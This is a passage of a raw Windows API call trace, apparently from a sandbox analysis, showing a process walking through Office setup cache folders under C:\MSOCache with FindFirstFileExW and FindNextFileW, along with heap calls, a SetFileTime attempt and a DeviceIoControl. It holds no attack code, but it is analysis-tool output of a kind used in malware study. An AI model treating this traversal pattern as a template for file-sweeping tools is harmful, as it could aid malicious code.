ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0041.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0042.016] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0042.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0042.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0042.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0042.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0042.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0042.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9968 [0042.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9da7f0 [0042.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0042.175] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0042.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0042.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0042.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0042.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0042.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0042.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9988 [0042.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9da8f8 [0042.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0042.177] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0042.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0042.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0042.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0042.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0042.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0042.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d99a8 [0042.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9daa00 [0042.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0042.179] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0042.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0042.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0042.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0042.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0042.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0042.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d99c8 [0042.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dab08 [0042.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0042.181] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0042.181] GetLastError () returned 0x12 [0042.182] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0042.183] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0042.183] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.184] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0042.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dac10 [0042.185] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0042.188] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0042.190] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0042.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9dbe90 [0042.190] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9dbe90, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9dbe90, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0042.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dbe90) returned 1 [0042.191] NtClose (Handle=0x15c) returned 0x0 [0042.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dac10) returned 1 [0042.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0042.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dac10 [0042.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0042.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dad18 [0042.191] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0042.191] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.191] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0042.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0042.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0042.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0042.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0042.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0042.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0042.191] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0042.191] GetLastError () returned 0x12 [0042.191] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0042.191] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0042.191] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.191] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0042.191] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0042.192] GetLastError () returned 0x12 [0042.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dad18) returned 1 [0042.192] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0042.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dac10) returned 1 [0042.192] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0042.192] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0042.192] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0042.192] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0042.192] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="")) returned 1 [0042.192] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0042.192] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0042.192] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="")) returned 1 [0042.192] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="")) returned 1 [0042.192] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="")) returned 1 [0042.192] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="")) returned 1 [0042.192] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0042.192] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0042.192] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0042.192] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0042.192] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0042.192] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0042.192] GetLastError () returned 0x12 [0042.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6a78) returned 1 [0042.192] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0042.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6970) returned 1 [0042.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0042.192] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0042.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.192] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, 